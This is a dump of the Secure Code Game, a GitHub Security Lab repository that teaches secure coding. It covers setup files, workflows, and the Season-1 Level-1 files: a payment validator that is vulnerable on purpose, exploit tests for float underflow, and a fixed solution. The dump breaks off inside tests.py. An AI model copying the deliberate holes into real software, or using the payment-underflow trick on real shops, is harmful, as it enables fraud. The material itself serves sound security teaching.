├── .devcontainer └── devcontainer.json ├── .github ├── dependabot.yml └── workflows │ ├── codeql-analysis.yml │ ├── jarvis-code.yml │ └── jarvis-hack.yml ├── .gitignore ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── Season-1 ├── Level-1 │ ├── code.py │ ├── hack.py │ ├── hint.js │ ├── solution.py │ └── tests.py ├── Level-2 │ ├── code.h │ ├── hack.c │ ├── hint-1.txt │ ├── hint-2.txt │ ├── solution.c │ └── tests.c ├── Level-3 │ ├── assets │ │ ├── prof_picture.png │ │ └── tax_form.pdf │ ├── code.py │ ├── hack.py │ ├── hint.txt │ ├── solution.py │ └── tests.py ├── Level-4 │ ├── code.py │ ├── hack.py │ ├── hint.py │ ├── solution.py │ └── tests.py ├── Level-5 │ ├── code.py │ ├── hack.py │ ├── hint.txt │ ├── solution.py │ └── tests.py └── README.md ├── Season-2 ├── Level-1 │ ├── code.yml │ ├── hack.yml │ ├── hint-1.txt │ ├── hint-2.txt │ └── solution.yml ├── Level-2 │ ├── code.go │ ├── code_test.go │ ├── go.mod │ ├── hack_test.go │ ├── hint-1.txt │ ├── hint-2.txt │ └── solution │ │ ├── go.mod │ │ ├── solution.go │ │ └── solution_test.go ├── Level-3 │ ├── .env.production │ ├── code.js │ ├── hack.admin │ ├── hack.js │ ├── hint.txt │ ├── package-lock.json │ ├── package.json │ ├── solution.js │ └── tests.js ├── Level-4 │ ├── code.py │ ├── hack.txt │ ├── hint.txt │ ├── solution.txt │ ├── templates │ │ ├── details.html │ │ └── index.html │ └── tests.py ├── Level-5 │ ├── code.js │ ├── hack-1.js │ ├── hack-2.js │ ├── hack-3.js │ ├── hint-1.txt │ ├── hint-2.txt │ ├── hint-3.txt │ ├── index.html │ └── solution.js └── README.md └── requirements.txt /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "onCreateCommand": "sudo apt-get update && sudo apt-get -y install libldap2-dev libsasl2-dev && pip3 install pyOpenSSL && pip3 install -r requirements.txt", 3 | "customizations": { 4 | "vscode": { 5 | "extensions": ["ms-python.python", "ms-python.vscode-pylance", "ms-vscode.cpptools-extension-pack", "redhat.vscode-yaml", "golang.go"] 6 | } 7 | }, 8 | "postCreateCommand": "npm install --prefix Season-2/Level-3/ Season-2/Level-3/ && npm install --global mocha" 9 | } -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: "github-actions" 4 | directory: "/" 5 | schedule: 6 | interval: "monthly" 7 | -------------------------------------------------------------------------------- /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | name: "CodeQL Analysis" 2 | 3 | on: 4 | push: 5 | branches: [main] 6 | pull_request: 7 | branches: [main] 8 | 9 | jobs: 10 | analyze: 11 | name: Analyze 12 | runs-on: ubuntu-latest 13 | permissions: 14 | actions: read 15 | contents: read 16 | security-events: write 17 | 18 | strategy: 19 | fail-fast: false 20 | matrix: 21 | language: ['python', 'go', 'javascript'] 22 | 23 | steps: 24 | - name: Checkout repository 25 | uses: actions/checkout@v4 26 | 27 | - name: Initialize CodeQL 28 | uses: github/codeql-action/init@v3 29 | with: 30 | languages: ${{ matrix.language }} 31 | 32 | - name: Autobuild 33 | uses: github/codeql-action/autobuild@v3 34 | 35 | - name: Perform CodeQL Analysis 36 | uses: github/codeql-action/analyze@v3 37 | -------------------------------------------------------------------------------- /.github/workflows/jarvis-code.yml: -------------------------------------------------------------------------------- 1 | # ////////////////////////////////////////////////////////////////////////////////////////////////// 2 | # /// /// 3 | # /// 1. Review the code in this file. Can you spot the bug? /// 4 | # /// 2. Fix the bug and push your solution so that GitHub Actions can run /// 5 | # /// 3. You successfully completed this level when .github/workflows/jarvis-hack.yml pass 🟢 /// 6 | # /// 4. If you get stuck, read the hint in hint-1.txt and try again /// 7 | # /// 5. If you need more guidance, read the hint in hint-2.txt and try again /// 8 | # /// 6. Compare your solution with solution.yml. Remember, there are several possible solutions /// 9 | # /// /// 10 | # ////////////////////////////////////////////////////////////////////////////////////////////////// 11 | 12 | name: CODE - Jarvis Gone Wrong 13 | 14 | on: 15 | push: 16 | paths: 17 | - ".github/workflows/jarvis-code.yml" 18 | 19 | jobs: 20 | jarvis: 21 | if: ${{ !github.event.repository.is_template }} 22 | runs-on: ubuntu-latest 23 | permissions: 24 | contents: read 25 | steps: 26 | - name: Check out code 27 | uses: actions/checkout@v4 28 | - name: Check GitHub Status 29 | # Source of GitHub Action in line 30: 30 | # https://github.com/dduzgun-security/secure-code-game-action 31 | uses: dduzgun-security/secure-code-game-action@1c9ed9f1e57d7b8c4e9bfa8013fd54e322214eb4 # v2.0 32 | with: 33 | who-to-greet: "Jarvis, obviously ..." 34 | get-token: "token-4db56ee8-dbec-46f3-96f5-32247695ab9b" 35 | -------------------------------------------------------------------------------- /.github/workflows/jarvis-hack.yml: -------------------------------------------------------------------------------- 1 | # This file is expected to fail ❌ upon push until you fix the bug 2 | # You successfully completed this level when this file pass 🟢 upon push 3 | name: HACK - Jarvis Gone Wrong 4 | 5 | on: 6 | push: 7 | paths: 8 | - ".github/workflows/jarvis-code.yml" 9 | 10 | jobs: 11 | jarvis: 12 | if: ${{ !github.event.repository.is_template }} 13 | runs-on: ubuntu-latest 14 | permissions: 15 | contents: read 16 | steps: 17 | - name: Check out code 18 | uses: actions/checkout@v4 19 | 20 | - name: Check for insecure actions 21 | run: | 22 | if grep -q "uses: dduzgun-security/secure-code-game-action@" $GITHUB_WORKSPACE/.github/workflows/jarvis-code.yml; then 23 | echo "Insecure action detected. Please remove it from your workflow." 24 | exit 1 25 | fi 26 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### VSCODE ### 2 | .vscode/* 3 | !.vscode/settings.json 4 | !.vscode/tasks.json 5 | !.vscode/launch.json 6 | !.vscode/extensions.json 7 | !.vscode/*.code-snippets 8 | 9 | # Local History for Visual Studio Code 10 | .history/ 11 | 12 | # Built Visual Studio Code Extensions 13 | *.vsix 14 | 15 | ### PYTHON ### 16 | # Byte-compiled / optimized / DLL files 17 | __pycache__/ 18 | *.py[cod] 19 | *$py.class 20 | *.pyc 21 | 22 | # C extensions 23 | *.so 24 | 25 | # Distribution / packaging 26 | .Python 27 | build/ 28 | develop-eggs/ 29 | dist/ 30 | downloads/ 31 | eggs/ 32 | .eggs/ 33 | lib/ 34 | lib64/ 35 | parts/ 36 | sdist/ 37 | var/ 38 | wheels/ 39 | share/python-wheels/ 40 | *.egg-info/ 41 | .installed.cfg 42 | *.egg 43 | MANIFEST 44 | 45 | # PyInstaller 46 | # Usually these files are written by a python script from a template 47 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 48 | *.manifest 49 | *.spec 50 | 51 | # Installer logs 52 | pip-log.txt 53 | pip-delete-this-directory.txt 54 | 55 | # Unit test / coverage reports 56 | htmlcov/ 57 | .tox/ 58 | .nox/ 59 | .coverage 60 | .coverage.* 61 | .cache 62 | nosetests.xml 63 | coverage.xml 64 | *.cover 65 | *.py,cover 66 | .hypothesis/ 67 | .pytest_cache/ 68 | cover/ 69 | 70 | # Translations 71 | *.mo 72 | *.pot 73 | 74 | # Django stuff: 75 | *.log 76 | local_settings.py 77 | db.sqlite3 78 | db.sqlite3-journal 79 | 80 | # Flask stuff: 81 | instance/ 82 | .webassets-cache 83 | 84 | # Scrapy stuff: 85 | .scrapy 86 | 87 | # Sphinx documentation 88 | docs/_build/ 89 | 90 | # PyBuilder 91 | .pybuilder/ 92 | target/ 93 | 94 | # Jupyter Notebook 95 | .ipynb_checkpoints 96 | 97 | # IPython 98 | profile_default/ 99 | ipython_config.py 100 | 101 | # pyenv 102 | # For a library or package, you might want to ignore these files since the code is 103 | # intended to run in multiple environments; otherwise, check them in: 104 | # .python-version 105 | 106 | # pipenv 107 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 108 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 109 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 110 | # install all needed dependencies. 111 | #Pipfile.lock 112 | 113 | # poetry 114 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 115 | # This is especially recommended for binary packages to ensure reproducibility, and is more 116 | # commonly ignored for libraries. 117 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 118 | #poetry.lock 119 | 120 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 121 | __pypackages__/ 122 | 123 | # Celery stuff 124 | celerybeat-schedule 125 | celerybeat.pid 126 | 127 | # SageMath parsed files 128 | *.sage.py 129 | 130 | # Environments 131 | .env 132 | .venv 133 | env/ 134 | venv/ 135 | ENV/ 136 | env.bak/ 137 | venv.bak/ 138 | 139 | # Spyder project settings 140 | .spyderproject 141 | .spyproject 142 | 143 | # Rope project settings 144 | .ropeproject 145 | 146 | # mkdocs documentation 147 | /site 148 | 149 | # mypy 150 | .mypy_cache/ 151 | .dmypy.json 152 | dmypy.json 153 | 154 | # Pyre type checker 155 | .pyre/ 156 | 157 | # pytype static type analyzer 158 | .pytype/ 159 | 160 | # Cython debug symbols 161 | cython_debug/ 162 | 163 | ### JAVASCRIPT ### 164 | # compiled output 165 | /dist 166 | /tmp 167 | /out-tsc 168 | 169 | # Runtime data 170 | pids 171 | *.pid 172 | *.seed 173 | *.pid.lock 174 | 175 | # Directory for instrumented libs generated by jscoverage/JSCover 176 | lib-cov 177 | 178 | # Coverage directory used by tools like istanbul 179 | coverage 180 | 181 | # nyc test coverage 182 | .nyc_output 183 | 184 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 185 | .grunt 186 | 187 | # Bower dependency directory (https://bower.io/) 188 | bower_components 189 | 190 | # node-waf configuration 191 | .lock-wscript 192 | 193 | # IDEs and editors 194 | .idea 195 | .project 196 | .classpath 197 | .c9/ 198 | *.launch 199 | .settings/ 200 | *.sublime-workspace 201 | 202 | # IDE - VSCode 203 | .vscode/* 204 | !.vscode/settings.json 205 | !.vscode/tasks.json 206 | !.vscode/launch.json 207 | !.vscode/extensions.json 208 | 209 | # misc 210 | .sass-cache 211 | connect.lock 212 | typings 213 | 214 | # Logs 215 | logs 216 | *.log 217 | npm-debug.log* 218 | yarn-debug.log* 219 | yarn-error.log* 220 | 221 | 222 | # Dependency directories 223 | node_modules/ 224 | jspm_packages/ 225 | 226 | # Optional npm cache directory 227 | .npm 228 | 229 | # Optional eslint cache 230 | .eslintcache 231 | 232 | # Optional REPL history 233 | .node_repl_history 234 | 235 | # Output of 'npm pack' 236 | *.tgz 237 | 238 | # Yarn Integrity file 239 | .yarn-integrity 240 | 241 | # dotenv environment variables file 242 | .env 243 | 244 | # next.js build output 245 | .next 246 | 247 | # Lerna 248 | lerna-debug.log 249 | 250 | # System Files 251 | .DS_Store 252 | Thumbs.db 253 | 254 | ### C ### 255 | # Prerequisites 256 | *.d 257 | 258 | # Object files 259 | *.o 260 | *.ko 261 | *.obj 262 | *.elf 263 | 264 | # Linker output 265 | *.ilk 266 | *.map 267 | *.exp 268 | 269 | # Precompiled Headers 270 | *.gch 271 | *.pch 272 | 273 | # Libraries 274 | *.lib 275 | *.a 276 | *.la 277 | *.lo 278 | 279 | # Shared objects (inc. Windows DLLs) 280 | *.dll 281 | *.so 282 | *.so.* 283 | *.dylib 284 | 285 | # Executables 286 | *.exe 287 | *.out 288 | *.app 289 | *.i*86 290 | *.x86_64 291 | *.hex 292 | 293 | # Debug files 294 | *.dSYM/ 295 | *.su 296 | *.idb 297 | *.pdb 298 | 299 | # Kernel Module Compile Results 300 | # *.mod* 301 | *.cmd 302 | .tmp_versions/ 303 | modules.order 304 | Module.symvers 305 | Mkfile.old 306 | dkms.conf -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Secure Code Game Contribution Guideline 2 | 3 | Thank you for your interest in contributing to the Secure Code Game. Let's collaborate and bring your ideas to life for a lasting impact on the global cybersecurity scene. Follow these guidelines: 4 | 5 | ## 1. Review current proposals 6 | 7 | Make sure your idea was not already discussed. Consider joining [existing proposals](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) and contributing collaboratively instead of duplicating efforts. 8 | 9 | ## 2. Create a new proposal 10 | 11 | Start a [new discussion](https://github.com/skills/secure-code-game/discussions/new?category=new-level-proposals) by providing, at the very least, the following elements: 12 | 13 | - **Vulnerability:** Propose a specific vulnerability that you would like to include in the game. 14 | - **Programming Language:** Specify the programming language you want to use for implementing the code. 15 | - **Scenario:** Describe the scenario where the vulnerability will be introduced. 16 | 17 | **Example:** 18 | 19 | 👋 Hi, I would like to contribute a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript. The scenario involves an online forum where users can write responses through a text box, but input sanitization wasn't implemented securely. An attacker could exploit this by injecting malicious code, for example ``. 20 | 21 | ## Increase your proposal’s chances 22 | 23 | To increase the chances of your proposal being merged into the game, consider suggesting a vulnerability and programming language combination that we haven't yet included in the game or rejected in past discussions. While we welcome all contributions, you will have more chances for these popular vulnerabilities and programming languages: 24 | 25 | - **TypeScript/JavaScript:** Server-Side Request Forgery (SSRF), Broken Access Control, Cross-Site Request Forgery (CSRF) 26 | - **C#:** Server-Side Request Forgery (SSRF), Remote Code Execution, Insecure Deserialization, Cross-Site Request Forgery (CSRF) 27 | - **Java:** Broken Access Control, Remote Code Execution, Insecure Deserialization 28 | 29 | Please feel free to propose other vulnerabilities and programming languages or frameworks as well. For those looking for community feedback on an idea before opening a discussion, or for other collaborators and beta-testers, you can join our vibrant [Slack community](https://gh.io/securitylabslack) and engage in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 30 | 31 | ## 3. Submit a Pull Request 32 | 33 | Once your proposal receives approval in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals), you can proceed to submit a pull request (PR) to the game's [repository](https://github.com/skills/secure-code-game). Ensure that your PR follows the [file structure](https://github.com/skills/secure-code-game) conventions of the existing game levels. For example, if you're submitting a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript, your PR should include the following files: 34 | 35 | - storyline 36 | - code.js 37 | - hack.js 38 | - hint.js 39 | - solution.js 40 | - tests.js 41 | - dependencies in requirements.txt 42 | 43 | ## Credit 44 | 45 | We highly appreciate your contribution to the Secure Code Game. As a token of our gratitude, we will prominently display your name at the beginning of the level you contribute, along with a clickable URL to your GitHub profile or another social media platform of your choice. 46 | 47 | ## Additional Information 48 | 49 | - If you have any questions or need assistance, don't hesitate to ask for help in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) or from our [Slack community](https://gh.io/securitylabslack) at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 50 | 51 | We appreciate your dedication to improving software security through the Secure Code Game 🎮 🔐 -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) GitHub, Inc. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | 11 | 12 | # Secure Code Game 13 | 14 | _A GitHub Security Lab initiative, providing an in-repo learning experience, where learners secure intentionally vulnerable code. At the same time, this is an open source project that welcomes your [contributions](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md) as a way to give back to the community._ 15 | 16 |
17 | 18 | 23 | 24 | ## Welcome 25 | 26 | - **Who is this for**: Developers, students. 27 | - **What you'll learn**: How to spot and fix vulnerable patterns in real-world code, build security into your workflows, and understand security alerts generated against your code. 28 | - **What you'll build**: You will develop fixes on functional but vulnerable code. 29 | - **Prerequisites**: For the first season, you will need some knowledge of `python3` for most levels and `C` for Level 2. For the second season, you will need some knowledge of `GitHub Actions` for level 1, `go` for level 2, `python3` for level 4, and `javascript` for levels 3 and 5. 30 | - **How long**: Each season is five levels long and takes 2-9 hours to complete. The complete course has 2 seasons. 31 | 32 | ### How to start this course 33 | 34 | 44 | 45 | [![start-course](https://user-images.githubusercontent.com/1221423/235727646-4a590299-ffe5-480d-8cd5-8194ea184546.svg)](https://github.com/new?template_owner=skills&template_name=secure-code-game&owner=%40me&name=skills-secure-code-game&description=My+clone+repository&visibility=public) 46 | 47 | 1. Right-click **Start course** and open the link in a new tab. 48 | 1. In the new tab, most of the prompts will automatically fill in for you. 49 | - For owner, choose your personal account or an organization to host the repository. 50 | - We recommend creating a public repository, as private repositories will [use Actions minutes](https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions). 51 | - Scroll down and click the **Create repository** button at the bottom of the form. 52 | 1. You can now proceed to the 🛠️ set up section. 53 | 54 | ## 🛠️ The set up 55 | 56 | #### 🖥️ Using codespaces 57 | 58 | All levels are configured to run instantly with GitHub Codespaces. If you chose to use codespaces, be aware that this course **will count towards your 60 hours of monthly free allowance**. For more information about GitHub Codespaces, see the "[GitHub Codespaces overview](https://docs.github.com/en/codespaces/overview)." If you prefer to work locally, please follow the local installation guide in the next section. 59 | 60 | 1. To create a codespace, click the **Code** drop down button in the upper-right of your repository navigation bar. 61 | 1. Click **Create codespace on main**. 62 | 1. After creating a codespace, relax and wait for VS Code extensions and background installations to complete. This should take less than three minutes. 63 | 1. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file. 64 | 1. Once you click on individual levels, a banner might appear on the bottom right asking you if you want to create a virtual environment. Dismiss this notification as you _don't_ need to create a virtual environment. 65 | 66 | Optional: We recommend these free-of-charge additional extensions, but we haven't pre-installed them for you: 67 | 68 | 1. `github.copilot-chat` to receive AI-generated code explanations. 69 | 1. `alexcvzz.vscode-sqlite` to visualize the SQL database created in Season-1/Level-4 and the effects of our exploits on its content. 70 | 71 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 72 | 73 | #### 💻 Local installation 74 | 75 | Please note: You don't need a local installation if you are using GitHub Codespaces. 76 | 77 | The following local installation guide is adapted to Debian/Ubuntu and CentOS/RHEL. 78 | 79 | 1. Open your terminal. 80 | 1. Install OpenLDAP headers needed to compile `python-ldap`, depending on your Linux distribution. Check by running: 81 | 82 | ```bash 83 | uname -a 84 | ``` 85 | - For Debian/Ubuntu, run: 86 | ```bash 87 | sudo apt-get update 88 | sudo apt-get install libldap2-dev libsasl2-dev 89 | ``` 90 | 91 | - For CentOS/RHEL, run: 92 | 93 | ```bash 94 | sudo yum install python-devel openldap-devel 95 | ``` 96 | 97 | - For Archlinux, run: 98 | 99 | ```bash 100 | sudo pacman -Sy libldap libsasl 101 | ``` 102 | 103 | - Then, for all of the above Linux distributions install `pyOpenSSL` by running: 104 | 105 | ```bash 106 | pip3 install pyOpenSSL 107 | ``` 108 | 109 | Once installation has completed, clone your repository to your local machine and install required dependencies. 110 | 111 | 1. From your repository, click the **Code** drop down button in the upper-right of your repository navigation bar. 112 | 1. Select the `Local` tab from the menu. 113 | 1. Copy your preferred URL. 114 | 1. In your terminal, change the working directory to the location where you want the cloned directory. 115 | 1. Type `git clone` and paste the copied URL. 116 | 117 | ``` 118 | $ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY 119 | ``` 120 | 121 | 6. Press **Enter** to create your local clone. 122 | 7. Change the working directory to the cloned directory. 123 | 8. Install dependencies by running: 124 | 125 | ```bash 126 | pip3 install -r requirements.txt 127 | ``` 128 | 129 | - Programming Languages 130 | 131 | 1. To play Season 1, you will need to have `python3` and `c` installed. 132 | 1. To play Season 2, you will need to have `yaml`, `go`, `python3` and `node` installed. 133 | 134 | If you are using VS Code locally, you can install the above programming languages through the editor extensions with these identifiers: 135 | 136 | 1. `ms-python.python` 137 | 1. `ms-python.vscode-pylance` 138 | 1. `ms-vscode.cpptools-extension-pack` 139 | 1. `redhat.vscode-yaml` 140 | 1. `golang.go` 141 | 142 | Please note that for the `go` programming language, you need to perform an extra step, which is to visit the [official website](https://go.dev/dl/) and download the driver corresponding to your operating system. 143 | 144 | Now, it's necessary to install `node` to get the `npm` packages we have provided. To do so: 145 | 146 | 1. Start by installing a package manager like `homebrew` by running: 147 | 148 | ```bash 149 | /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 150 | ``` 151 | 152 | 2. Install `node`: 153 | 154 | ```bash 155 | brew install node 156 | ``` 157 | Adapt the command to the package manager you have chosen if it's not homebrew. 158 | 159 | 3. The `npm` packages needed are specified in `package.json` and `package-lock.json`. Navigate to the `secure-code-game` repository and install them by running: 160 | 161 | ```bash 162 | npm install --prefix Season-2/Level-4/ && npm install --global mocha 163 | ``` 164 | 165 | 4. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file. 166 | 167 | We recommend these free-of-charge additional extensions: 168 | 169 | 1. `github.copilot-chat` to receive AI-generated code explanations. 170 | 1. `alexcvzz.vscode-sqlite` to visualize the SQL database created and the effects of our exploits on its content. 171 | 172 | For more information about cloning repositories, see "[Cloning a repository](https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository)." 173 | 174 | 188 | -------------------------------------------------------------------------------- /Season-1/Level-1/code.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Welcome to Secure Code Game Season-1/Level-1! 3 | 4 | Follow the instructions below to get started: 5 | 6 | 1. tests.py is passing but code.py is vulnerable 7 | 2. Review the code. Can you spot the bug? 8 | 3. Fix the code but ensure that tests.py passes 9 | 4. Run hack.py and if passing then CONGRATS! 10 | 5. If stuck then read the hint 11 | 6. Compare your solution with solution.py 12 | ''' 13 | 14 | from collections import namedtuple 15 | 16 | Order = namedtuple('Order', 'id, items') 17 | Item = namedtuple('Item', 'type, description, amount, quantity') 18 | 19 | def validorder(order: Order): 20 | net = 0 21 | 22 | for item in order.items: 23 | if item.type == 'payment': 24 | net += item.amount 25 | elif item.type == 'product': 26 | net -= item.amount * item.quantity 27 | else: 28 | return "Invalid item type: %s" % item.type 29 | 30 | if net != 0: 31 | return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, net) 32 | else: 33 | return "Order ID: %s - Full payment received!" % order.id -------------------------------------------------------------------------------- /Season-1/Level-1/hack.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import code as c 3 | 4 | class TestOnlineStore(unittest.TestCase): 5 | 6 | # Tricks the system and walks away with 1 television, despite valid payment & reimbursement 7 | def test_6(self): 8 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) 9 | payment = c.Item(type='payment', description='invoice_4', amount=1e19, quantity=1) 10 | payback = c.Item(type='payment', description='payback_4', amount=-1e19, quantity=1) 11 | order_4 = c.Order(id='4', items=[payment, tv_item, payback]) 12 | self.assertEqual(c.validorder(order_4), 'Order ID: 4 - Payment imbalance: $-1000.00') 13 | 14 | # Valid payments that should add up correctly, but do not 15 | def test_7(self): 16 | small_item = c.Item(type='product', description='accessory', amount=3.3, quantity=1) 17 | payment_1 = c.Item(type='payment', description='invoice_5_1', amount=1.1, quantity=1) 18 | payment_2 = c.Item(type='payment', description='invoice_5_2', amount=2.2, quantity=1) 19 | order_5 = c.Order(id='5', items=[small_item, payment_1, payment_2]) 20 | self.assertEqual(c.validorder(order_5), 'Order ID: 5 - Full payment received!') 21 | 22 | # The total amount payable in an order should be limited 23 | def test_8(self): 24 | num_items = 12 25 | items = [c.Item(type='product', description='tv', amount=99999, quantity=num_items)] 26 | for i in range(num_items): 27 | items.append(c.Item(type='payment', description='invoice_' + str(i), amount=99999, quantity=1)) 28 | order_1 = c.Order(id='1', items=items) 29 | self.assertEqual(c.validorder(order_1), 'Total amount payable for an order exceeded') 30 | 31 | # Put payments before products 32 | items = items[1:] + [items[0]] 33 | order_2 = c.Order(id='2', items=items) 34 | self.assertEqual(c.validorder(order_2), 'Total amount payable for an order exceeded') 35 | 36 | if __name__ == '__main__': 37 | unittest.main() -------------------------------------------------------------------------------- /Season-1/Level-1/hint.js: -------------------------------------------------------------------------------- 1 | // Example of underflow vulnerability in JS 2 | var a = 10000000000000000; // 16 zeroes, try with 15 zeroes ;) 3 | var b = 2; 4 | var c = 1; 5 | 6 | console.log(a + b - c - a); -------------------------------------------------------------------------------- /Season-1/Level-1/solution.py: -------------------------------------------------------------------------------- 1 | from collections import namedtuple 2 | from decimal import Decimal 3 | 4 | Order = namedtuple('Order', 'id, items') 5 | Item = namedtuple('Item', 'type, description, amount, quantity') 6 | 7 | MAX_ITEM_AMOUNT = 100000 # maximum price of item in the shop 8 | MAX_QUANTITY = 100 # maximum quantity of an item in the shop 9 | MIN_QUANTITY = 0 # minimum quantity of an item in the shop 10 | MAX_TOTAL = 1e6 # maximum total amount accepted for an order 11 | 12 | def validorder(order): 13 | payments = Decimal('0') 14 | expenses = Decimal('0') 15 | 16 | for item in order.items: 17 | if item.type == 'payment': 18 | # Sets a reasonable min & max value for the invoice amounts 19 | if -MAX_ITEM_AMOUNT <= item.amount <= MAX_ITEM_AMOUNT: 20 | payments += Decimal(str(item.amount)) 21 | elif item.type == 'product': 22 | if type(item.quantity) is int and MIN_QUANTITY < item.quantity <= MAX_QUANTITY and MIN_QUANTITY < item.amount <= MAX_ITEM_AMOUNT: 23 | expenses += Decimal(str(item.amount)) * item.quantity 24 | else: 25 | return "Invalid item type: %s" % item.type 26 | 27 | if abs(payments) > MAX_TOTAL or expenses > MAX_TOTAL: 28 | return "Total amount payable for an order exceeded" 29 | 30 | if payments != expenses: 31 | return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, payments - expenses) 32 | else: 33 | return "Order ID: %s - Full payment received!" % order.id 34 | 35 | # Solution explanation: 36 | 37 | # A floating-point underflow vulnerability. 38 | 39 | # In hack.py, the attacker tricked the system by supplying an extremely high 40 | # amount as a fake payment, immediately followed by a payment reversal. 41 | # The exploit passes a huge number, causing an underflow while subtracting the 42 | # cost of purchased items, resulting in a zero net. 43 | 44 | # It's a good practice to limit your system input to an acceptable range instead 45 | # of accepting any value. 46 | 47 | # We also need to protect from a scenario where the attacker sends a huge number 48 | # of items, resulting in a huge net. We can do this by limiting all variables 49 | # to reasonable values. 50 | 51 | # In addition, using floating-point data types for calculations involving financial 52 | # values causes unexpected rounding and comparison errors as it cannot represent 53 | # decimal numbers with the precision we expect. 54 | 55 | # For example, running `0.1 + 0.2` in the Python interpreter gives `0.30000000000000004` 56 | # instead of 0.3. 57 | 58 | # The solution to this is to use the Decimal type for calculations that should work 59 | # in the same way "as the arithmetic that people learn at school." 60 | # Learn more by reading Python's official documentation on Decimal: 61 | # (https://docs.python.org/3/library/decimal.html). 62 | 63 | # It is also necessary to convert the floating point values to string first before passing 64 | # it to the Decimal constructor. If the floating point value is passed to the Decimal 65 | # constructor, the rounded value is stored instead. 66 | 67 | # Compare the following examples from the interpreter: 68 | # >>> Decimal(0.3) 69 | # Decimal('0.299999999999999988897769753748434595763683319091796875') 70 | # >>> Decimal('0.3') 71 | # Decimal('0.3') 72 | 73 | # Input validation should be expanded to also check data types besides testing allowed range 74 | # of values. This specific bug, caused by using a non-integer quantity, might occur due to 75 | # insufficient attention to requirements engineering. While in certain contexts is acceptable 76 | # to buy a non-integer amount of an item (e.g. buy a fractional share), in the context of our 77 | # online shop we falsely placed trust to users for buying a positive integer of items only, 78 | # without malicious intend. 79 | 80 | 81 | # Contribute new levels to the game in 3 simple steps! 82 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md -------------------------------------------------------------------------------- /Season-1/Level-1/tests.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import code as c 3 | 4 | class TestOnlineStore(unittest.TestCase): 5 | 6 | # Example 1 - shows a valid and successful payment for a tv 7 | def test_1(self): 8 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) 9 | payment = c.Item(type='payment', description='invoice_1', amount=1000.00, quantity=1) 10 | order_1 = c.Order(id='1', items=[payment, tv_item]) 11 | self.assertEqual(c.validorder(order_1), 'Order ID: 1 - Full payment received!') 12 | 13 | # Example 2 - successfully detects payment imbalance as tv was never paid 14 | def test_2(self): 15 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) 16 | order_2 = c.Order(id='2', items=[tv_item]) 17 | self.assertEqual(c.validorder(order_2), 'Order ID: 2 - Payment imbalance: $-1000.00') 18 | 19 | # Example 3 - successfully reimburses client for a return so payment imbalance exists 20 | def test_3(self): 21 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) 22 | payment = c.Item(type='payment', description='invoice_3', amount=1000.00, quantity=1) 23 | payback = c.Item(type='payment', description='payback_3', amount=-1000.00, quantity=1) 24 | order_3 = c.Order(id='3', items=[payment, tv_item, payback]) 25 | 